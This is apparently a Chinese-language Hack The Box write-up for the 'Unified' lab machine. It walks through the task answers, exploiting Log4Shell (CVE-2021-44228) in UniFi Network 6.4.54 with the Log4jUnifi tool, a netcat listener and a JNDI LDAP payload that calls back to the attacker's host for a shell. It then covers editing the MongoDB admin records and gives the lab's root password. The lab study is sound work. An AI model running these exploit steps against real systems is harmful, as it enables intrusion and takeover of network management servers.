目標:Unified
作者使用Kali Linux作為滲透測試平台,在Kali Linux上首先通過openvpn建立與Hackthebox網站的VPN連接,得到目標Unified實例的IP地址:
# openvpn starting_point_jasonhuawen.ovpn
Task 1
What ports are open?
思路:此題再簡單不過了,直接用掃描神器對目標進行掃描,即可得到開放的端口列表。
# nmap -sS 10.129.232.197
答案:22,6789,8080,8443
Task 2
Name of the software that is running on the highest port?
思路:從前面的掃描結果知道,該目標運行有web應用而且是https的,端口為8443,自然而然,通過瀏覽器訪問https:// 10.129.232.197,似乎是一個網絡設備的管理頁面,根據提示,頁面的title即為答案。
答案:UniFi Network
Task 3
What is the version of the software that is running?
思路:頁面里就有此題的答案。
答案:6.4.54
Task 4
What is the CVE for the identified vulnerability?
思路:根據UniFi Network以及其版本的信息在google查找相應的CVE漏洞即可得到本題的答案。
答案:CVE-2021-44228
Task 5
What is the version of Maven that we installed?
思路:
在kali linux上安裝maven
#apt-get install maven $ git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package
安裝完成以后 用mvn -v即可得到版本信息, “Apache Maven 3.6.3”
答案:3.6.3
Task 6
What protocol does JDNI leverage in the injection?
答案:LDAP
Task 7
What tool do we use to intercept the traffic, indicating the attack was successful?
答案:tcpdump
Task 8
What port do we need to inspect intercepted traffic for?
答案:389
Task 9
What port is the MongoDB service running on?
思路:
此后所有的題目都是基於需要拿到目標的shell,而拿到shell的方法是利用CVE漏洞CVE-2021-44228,拿到shell以后,以下為拿到shell的過程:
第一步:根據下述步驟在Kali Linux安裝docker
#apt update #curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add – #echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' | #sudo tee /etc/apt/sources.list.d/docker.list #apt update #apt remove docker docker-engine docker.io #apt install docker-ce -y #systemctl start docker #systemctl enable docker
第二步:CVE-2021-44228漏洞利用
執行下述命令在kali Linux安裝JDK以及maven.
#apt update && apt install openjdk-11-jre maven #git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && pip3 install -r requirements.txt #mvn package -f utils/rogue-jndi/
下載並制作Docker Log4jUnifi
的
鏡像:
#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && docker build -t log4junifi .
此時在Kali Linux 上用openVPN連接上Hackthebox,啟動Unified實例,然后在kali Linux用nc啟動監聽:
# nc -nlvp 1234 -s 10.10.14.165
#docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi -u https://10.129.254.73:8443 -i 10.10.14.165 -p 1234
輸出:
{"username": "${jndi:ldap://10.10.14.165:1389/o=tomcat}", "password": "log4j", "remember": "${jndi:ldap://10.10.14.165:1389/o=tomcat}", "strict":true}
此時表明已經成功拿到目標的shell,在目標各個目錄搜尋,查找與數據庫服務相關的配置文件,在文件中/usr/lib/unifi/data/system.properties
找到mongodb的端口
unifi.db.port=27117
答案:27117
Task 10
What is the default database name for UniFi applications?
思路:
從Task 9已經知道數據庫服務的端口,因此在目標本地連接mongodb數據庫:
#mongodb --port 27117 #show dbs ace 0.002GB ace_stat 0.000GB admin 0.000GB config 0.000GB local 0.000GB
答案:ace
Task 11
What is the function we use to enumerate users within the database in MongoDB?
答案:db.admin.find()
Task 12
What is the function to add data to the database in MongoDB?
答案:db.admin.insert()
Task 13
What is the function we use to update users within the database in MongoDB?
答案:db.admin.update()
Task 14
What is the password for the root user?
思路:
通過在數據庫用db.admin.update()方法更改administrator的密碼為我們自己設置的密碼,但是實話實說我用mkpasswd創建的hash值,發現登陸有問題,即使指定salt值,雖然產生固定的hash值,但是與目標的hash值仍不明白(百思不得其解)。
通過修改administrator以及我們自己設置的密碼成功登陸目標的web管理界面后,找到一些信息,包括用於ssh遠程訪問的用戶名(root)以及密碼。
答案:NotACrackablePassword4U2022
然后用該密碼SSH登陸目標,即可得到root的Flag。